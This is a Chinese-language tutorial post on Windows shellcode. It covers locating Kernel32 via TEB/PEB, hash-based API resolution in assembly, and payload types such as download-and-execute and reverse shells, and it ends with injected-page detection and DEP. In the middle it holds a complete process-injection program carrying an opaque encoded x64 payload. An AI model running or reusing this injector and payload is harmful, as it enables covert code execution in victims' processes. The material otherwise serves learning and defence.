前言
Shellcode实际上是一段可以独立执行的代码(也可以认为是一段填充数据),在触发了缓冲区溢出漏洞并获取了eip指针的控制权后,通常会将eip指针指向Shellcode以完成漏洞利用过程。
eip指针是指令指针的一种,指令指针IP/EIP/RIP的基本作用是指向要执行的下一条地址
Shellcode主要工作流程:
Shellcode的结构
Shellcode在漏洞样本中的存在形式一般为一段可以自主运行的汇编代码。
特点:
- 它不依赖任何编译环境,也不能像在DE中直接编写代码那样调用API函数名称来实现功能。
- 它通过主动查找DLL基址并动态获取API地址的方式来实现API调用,然后根据实际功能调用相应的API函数来完成其自身的功能。
Shellcode分为两个模块,分别是基本模块和功能模块,结构如图14.10所示。
基本模块
基本模块用于实现Shellcode初始运行、获取Kernel32基址及获取API地址的过程。
1.获取Kernel32基址
获取Kernel32基址的常见方法有:
- 暴力搜索、
- 异常处理链表搜索
- TEB(Thread Environment Block)搜索。
这里只介绍目前最常用的动态获取Kernel32.dl基址的方法-TEB查找法。
其原理是:
在NT内核系统中,fs寄存器指向TEB结构,TEB+0x30偏移处指向PEB(Process Environment Block)结构,PEB+0x0c偏移处指向PEB_LDR_DATA结构,PEB_LDR_DATA+0x1c偏移处存放着程序加载的动态链接库地址,第1个指向Ntdll.dll,第2个就是Kernel.32.dll的基地址。
FS寄存器指向当前活动线程的TEB结构(线程结构)
偏移 说明
000 指向SEH链指针
004 线程堆栈顶部
008 线程堆栈底部
00C SubSystemTib
010 FiberData
014 ArbitraryUserPointer
018 FS段寄存器在内存中的镜像地址
020 进程PID
024 线程ID
02C 指向线程局部存储指针
030 PEB结构地址(进程结构)
034 上个错误号
如图14.11所示。
代码实现:
(使用了内联汇编,注意vs不支持x64的汇编)
//Windows XP SP3+VC6.0,编译选项:Debug(默认配置) #include <stdio.h> #include <stdio.h> #include <Windows.h> int main(int argc, char*argv[]) { DWORD hKernel32 = 0; _asm{ mov eax,fs:[30h] mov eax,dword ptr[eax + 0ch] mov esi,dword ptr[eax + 1ch] lodsd mov eax,dword ptr[eax + 8] mov hKernel32, eax ; 获取Kernel32基址 } printf("hKernel32 0x%x\n", hKernel32); system("pause"); return 0; }
3.获得API地址
从DLL文件中获取API地址的方法如图14.12所示,步骤如下:
- 在DLL基址+3ch偏移处获取e lfanew的地址,即可得到PE文件头。
- 在PE文件头的78h偏移处得到函数导出表的地址。
- 在导出表的1ch偏移处获取AddressOfFunctions的地址,在导出表的20h偏移处获取AddressOfNames的地址,在导出表的24h偏移处获取AddressOfNameOrdinalse的地址。
- AddressOfFunctions函数地址数组和AddressOfNames函数名数组通过函数AddressOfName Ordinalse一一对应。
在实际应用中,如果API函数名称直接以明文出现,就会降低Shellcode的分析难度。
而且, API函数名称占用的空间一般都比较大,这会使Shellcode的体积跟着增大。要知道,在内存中用于存放Shellcode的空间可谓寸土寸金,所以,黑客们想了一个好办法,利用Hash算法将要获取的函数名称转换为一个4字节的Hash值,在搜索过程中按此算法计算DLL中的文件名称的Hash值,对比两个Hash值是否相同。这样就有效减小了Shellcode的体积,同时提高了Shellcode的隐蔽性。
获取API地址示例代码:
(参考 加密与解密代码 可私信我获得)
FindApi: push ecx push ebp mov esi, dword ptr[ebx + 3Ch] // e_lfanew mov esi, dword ptr[esi + ebx + 78h]// EATAddr add esi, ebx push esi mov esi, dword ptr[esi + 20h] //AddressOfNames add esi, ebx xor ecx, ecx dec ecx Find_Loop : inc ecx lods dword ptr[esi] add eax, ebx xor ebp, ebp //计算hash值 Hash_Loop : movsx edx, byte ptr[eax] cmp dl, dh je hash_OK ror ebp, 7 add ebp, edx inc eax jmp Hash_Loop hash_OK : //判断hash值是否相等 cmp ebp, dword ptr[edi] jnz Find_Loop pop esi mov ebp, dword ptr[esi + 24h] //Ordinal Table add ebp, ebx mov cx, word ptr[ebp + ecx * 2] mov ebp, dword ptr[esi + 1Ch] //Address Table add ebp, ebx mov eax, dword ptr[ebp + ecx * 4] add eax, ebx
另外,因为Shellcode需要实现的功能不同,所以调用的可能不仅仅是Kernel32中的API。
如何解决这个问题呢?
在得到Kernel32的基址之后,通过上面的方法获取Kernel32里的两个重要API的地址
(即LoadLibrary和GetProcessAddress) 。通过它们的组合就可以获取任意DLL中的API地址了。
功能模块
功能模块就是实现漏洞利用目的的那部分Shellcode.。前面介绍的基础模块所做的工作,其目的就是在这里实现相应的功能。下面介绍Shellcode的几种常见功能:
1.下载执行(Download & Execute)
具有这个功能的Shellcode最常被浏览器类漏洞样本使用,其功能就是从指定的URL下载一个exe文件并运行,工作流程如图14.13所示。
2.捆绑 (Binder)
具有这个功能的Shellcode最常见于Office等漏洞样本中,其功能是将捆绑在样本自身上的exe数据释放到指定目录中并运行,工作流程如图14.14所示。
3.反弹shell
具有这个功能的Shellcode多见于主动型远程溢出漏洞样本中,攻击者可以借助NC等工具,在实施攻击后获取一个远程She以执行任意命令,工作流程如图14.15所示。
Shellcode通用技术
Shellcode编写
Shellcode利用提取和调试
Shellcode注入
shellcode注入是一种进程注入技术,其主要过程如下:
- 利用OpenProcess()附加到被害进程
- 使用VirtualAllocEx()在被害进程中分配内存,这里一定要以可执行权限分配,不然会由于DEP保护,使得注入的代码无法执行
- 使用WriteProcessMemory()函数在分配的内存中写入shellcode
- 使用CreateRemoteThread()将程序执行流控制到shellcode的起始地址(执行shellcode)
#include <stdio.h> #include <windows.h> unsigned char ShellCode[] = "\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff" "\xff\xff\x48\xbb\xce\x25\x3d\xaf\x16\x16\x69\x6f\x48\x31\x58" "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x32\x6d\xbe\x4b\xe6\xfe" "\xa5\x6f\xce\x25\x7c\xfe\x57\x46\x3b\x3e\x98\x6d\x0c\x7d\x73" "\x5e\xe2\x3d\xae\x6d\xb6\xfd\x0e\x5e\xe2\x3d\xee\x6d\xb6\xdd" "\x46\x5e\x66\xd8\x84\x6f\x70\x9e\xdf\x5e\x58\xaf\x62\x19\x5c" "\xd3\x14\x3a\x49\x2e\x0f\xec\x30\xee\x17\xd7\x8b\x82\x9c\x64" "\x6c\xe7\x9d\x44\x49\xe4\x8c\x19\x75\xae\xc6\x70\xe8\x17\xd6" "\x2e\x3f\xa0\x93\x64\x69\x6f\xce\xae\xbd\x27\x16\x16\x69\x27" "\x4b\xe5\x49\xc8\x5e\x17\xb9\x3f\x45\x6d\x25\xeb\x9d\x56\x49" "\x26\xcf\xf5\xde\xf9\x5e\xe9\xa0\x2e\x45\x11\xb5\xe7\x17\xc0" "\x24\x5e\x07\x6d\x0c\x6f\xba\x57\xa8\xa6\xc3\x64\x3c\x6e\x2e" "\xf6\x1c\x9e\x82\x26\x71\x8b\x1e\x53\x50\xbe\xbb\xfd\x65\xeb" "\x9d\x56\x4d\x26\xcf\xf5\x5b\xee\x9d\x1a\x21\x2b\x45\x65\x21" "\xe6\x17\xc6\x28\xe4\xca\xad\x75\xae\xc6\x57\x31\x2e\x96\x7b" "\x64\xf5\x57\x4e\x28\x36\x8f\x7f\x75\x2c\xfa\x36\x28\x3d\x31" "\xc5\x65\xee\x4f\x4c\x21\xe4\xdc\xcc\x76\x50\xe9\xe9\x34\x26" "\x70\x52\x4e\x9d\x49\x25\x5b\x6f\xce\x64\x6b\xe6\x9f\xf0\x21" "\xee\x22\x85\x3c\xaf\x16\x5f\xe0\x8a\x87\x99\x3f\xaf\x31\x19" "\xa9\xc7\xcf\x3b\x7c\xfb\x5f\x9f\x8d\x23\x47\xd4\x7c\x15\x5a" "\x61\x4f\x68\x31\xf0\x71\x26\xfc\x7e\x68\x6e\xce\x25\x64\xee" "\xac\x3f\xe9\x04\xce\xda\xe8\xc5\x1c\x57\x37\x3f\x9e\x68\x0c" "\x66\x5b\x27\xa9\x27\x31\xe5\x75\x26\xd4\x5e\x96\xaf\x86\xac" "\xfc\xee\xac\xfc\x66\xb0\x2e\xda\xe8\xe7\x9f\xd1\x03\x7f\x8f" "\x7d\x71\x26\xf4\x5e\xe0\x96\x8f\x9f\xa4\x0a\x62\x77\x96\xba" "\x4b\xe5\x49\xa5\x5f\xe9\xa7\x1a\x2b\xcd\xae\xaf\x16\x16\x21" "\xec\x22\x35\x75\x26\xf4\x5b\x58\xa6\xa4\x21\x7c\xf7\x5e\x9f" "\x90\x2e\x74\x27\xe4\x67\x49\xe9\xbc\xec\x36\x25\x43\xfa\x5e" "\x95\xad\x4f\x90\xac\xcb\xc5\x56\x57\x30\x07\xce\x35\x3d\xaf" "\x57\x4e\x21\xe6\x3c\x6d\x0c\x66\x57\xac\x31\xcb\x9d\xc0\xc2" "\x7a\x5e\x9f\xaa\x26\x47\xe2\x70\x9e\xdf\x5f\xe0\x9f\x86\xac" "\xe7\xe7\x9f\xef\x28\xd5\xcc\xfc\xf5\xf0\xe9\xc3\xea\x97\xce" "\x58\x15\xf7\x57\x41\x30\x07\xce\x65\x3d\xaf\x57\x4e\x03\x6f" "\x94\x64\x87\xa4\x39\x19\x59\x90\x1b\x72\x64\xee\xac\x63\x07" "\x22\xaf\xda\xe8\xe6\xe9\xd8\x80\x53\x31\xda\xc2\xe7\x17\xd5" "\x21\x46\x08\x6d\xb8\x59\x63\xa2\x28\x90\x29\x7d\x57\xaf\x4f" "\x5f\xae\xad\x3e\x90\x9f\xf9\xe9\xc3\x69\x6f"; int main() { HANDLE Handle; HANDLE remoteThread; PVOID remoteBuffer; DWORD Pid; printf("输入待注入进程PID号:"); scanf("%d", &Pid); Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE,Pid); remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL); remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); CloseHandle(Handle); return 0; }
反Shellcode注入和反反Shellcode注入
反Shellcode注入
shellcode成功注入并执行后,受害进程中会存在具有可执行权限保护的页面,那么页面对应的pte的NX位应置为0。而正常进程中几乎不可能利用分配的内存去执行恶意代码,也就是说一般情况下分配的内存不会出现可执行权限,利用这一特点,能够检测进程地址空间是否有shellcode。
检测思路如下:
- 首先将进程的用户地址空间区分为映射文件区和非映射文件区,映射文件区主要包括进程的加载可执行文件和模块,如exe文件、dll文件、nls文件等;非映射文件区主要包括内存中的堆栈等缓冲区,这些内存区几乎不会分配可执行权限的页面。这样做的目的是由于内存中的映射文件本身具有可执行的页面,需要将这些排除在外,防止产生误报。
- 获取全部非映射文件区的页面的pte
- 检查这些pte的NX位,若存在NX为0的页面,说明这个页面可能是被注入的页面
- 输出被注入的页面地址及其内容
反Shellcode之什么是DEP保护
DEP将非代码段的页表属性设置成“不可执行”,一旦系统从这些地址空间进行取指令操作, CPU就会报告“内存违规”异常,进而“杀死”进程。栈空间也被操作系统设置了“不可执行”属性,因此,注入栈中的Shellcode就无法执行了。
开启DEP保护
控制面板->系统和安全->系统->高级系统设置->高级->性能->数据执行保护
反反Shellcode注入-绕过DEP保护的方法
ROP技术